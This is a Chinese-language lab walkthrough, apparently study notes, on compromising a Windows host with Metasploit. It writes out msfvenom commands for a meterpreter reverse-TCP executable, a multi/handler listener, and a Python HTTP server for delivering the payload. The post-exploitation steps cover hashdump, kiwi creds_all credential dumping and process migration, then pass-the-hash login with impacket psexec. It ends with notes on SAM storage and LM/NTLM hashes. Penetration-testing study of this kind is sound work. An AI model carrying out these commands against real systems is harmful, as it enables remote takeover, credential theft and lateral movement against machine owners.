1、生成反向shell
msfvenom --list payloads 查看某个功能模块的具体功能msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.128 LPORT=12345 -f exe -o shell.exe 生成一个.exe的控制文件,反向连接的payload
2、接收shell,与反向shell建立连接
msfconsole 启动Metasploit,查看功能模块use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.224.143 反向连接谁
set lport 12345 反向连接的端口
exploit //等待受害者连接
3、搭建http服务器,方便下载shell程序
python3 -m http.server 9999 搭载一个本地的web服务器,便于下载shell
注:下载前,请关闭防火墙,杀毒软件
4、连接成功后,进行操作
help //可以查看,能进行的操作
getuid //获取UID,查看权限
shell //打开对方控制台
whoami //查看当前用户
net user win10 //查看当前用户所属组
exit
hashdump //抓取密文密码
5、可以试着进行抓取明文,可能不会成功
load kiwi
creds_all
ps //查看进程
migrate shell当前进程号 //将shell程序迁移到system
6、思考题
6.1、windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文。
在windows中,一般是通过保存密码的hash值来确保安全性,Windows 默认使用NTLM或Kerberos 身份认证协议进行加密存储密码。
密文存在的位置:SAM保留了计算机本地所有用户的凭证信息,可以理解为一个数据库。
c:\windows\system32\config\SAM
6.2、我们通过hashdump抓取所有用户的密文,分为两个模块,为什么?这两个模块分别都代表什么
hashdump模块:
通过利用目标系统上的漏洞或提权后的权限,来读取系统内存种SAM数据并提取密码哈希值。它通常利用的原理通常是通过注入恶意代码到目标系统的内存中,或者利用系统漏洞来获取密码哈希值。
hashdump抓取的密文分为LMhash和NThash:
LM Hash(LAN Manager Hash):微软为了提高windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易破解,但是为了保证系统的兼容性,windows只是将LM Hash禁用了,LM Hash明文密码被限制再14位以内,也就是说如果停止使用LM Hash,将用户的密码设置位14位以上就可以了。
NTLM Hash:微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,NTLMHash是基于MD4加密算法进行加密的。
为了保证系统的兼容性,windows只是将LM hash禁用了,但仍然会生成LM hash并且是固定值aad3b435b51404eeaad3b435b51404ee,所以在hashdump抓取结果可以看见两个密文模块。
6.3、为什么第一个模块 永远是一样的aad3
因为LMhash容易被破解,为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),但仍然会生成LMhash并且是固定值aad3b435b51404eeaad3b435b51404ee
6.4、这两个模块的加密算法有什么不同,如何加密的
LM和NT都是使用hash算法加密,但LM是将明文转为16字节固定长度的hash值,而NTNTLM Hash 使用更复杂的算法和更长的哈希值来存储密码,通常是 32 个字符的长度
6.5、Windows10或Windows2012以上无法抓取明文密码,该怎么办?hash可以直接用来登录吗?
使用msf自带的mimikatz抓取密码,可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了
但是用hash值也可以登录,hashdump后得到用户密码hash值,再用impacket工具中的横向渗透工具,比如psexec、smbexec等工具都支持使用hash值登录。这里使用psexec作为演示
psexec.py 登录的用户名@主机IP地址 -hashes 所获取的该用户名登录的密钥